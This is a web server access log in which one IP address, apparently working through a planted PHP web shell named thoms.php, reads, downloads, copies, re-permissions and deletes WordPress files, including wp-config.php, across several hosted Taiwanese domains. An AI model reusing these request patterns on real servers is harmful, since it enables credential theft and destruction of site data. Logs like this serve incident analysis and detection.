45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?del=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-trackback.php HTTP/1.1" 200 14089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?del=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 17500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?chmod=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 17453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 17493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?chmod=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12026 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?chmod=wp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ferror_log&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?del=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw&settings=1 HTTP/1.1" 200 11881 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 17501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?chmod=wp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 17501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 11499 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=index.php HTTP/1.1" 200 12058 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?del=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?chmod=.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwidget-transformer&p= HTTP/1.1" 200 12111 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 17500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /biotaiwan.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?del=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13610 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-settings.php HTTP/1.1" 200 19463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?chmod=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?chmod=widget-transformer&p=biotaiwan.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 8494 "https://163.245.207.76/biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-login.php HTTP/1.1" 200 29025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?dl=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?dl=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?chmod=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?del=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?dl=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Findex.php&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-signup.php HTTP/1.1" 200 22508 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12076 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flocoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?del=widget-transformer&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13016 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?chmod=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?del=public-languages&p=biotaiwan.com.tw HTTP/1.1" 200 17505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?dl=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 17480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-mail.php HTTP/1.1" 200 15357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12118 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&upload= HTTP/1.1" 200 12152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12582 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=filefuns.php HTTP/1.1" 200 14715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:40 -0400] "GET /thoms.php?chmod=license.txt&p=biotaiwan.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?chmod=readme.html&p=biotaiwan.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages&p= HTTP/1.1" 200 12112 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?dl=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 17506 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?del=wp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 17494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?del=wp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 11499 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=license.txt HTTP/1.1" 200 20073 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?del=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 17505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=mah.php HTTP/1.1" 200 11813 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=.htaccess HTTP/1.1" 200 12734 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?del=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 17497 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?del=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=locoy.php HTTP/1.1" 200 12953 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=upgrade HTTP/1.1" 200 11359 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bfl.com.tw HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=bossini.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:41 -0400] "GET /thoms.php?copy=bestzyx.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
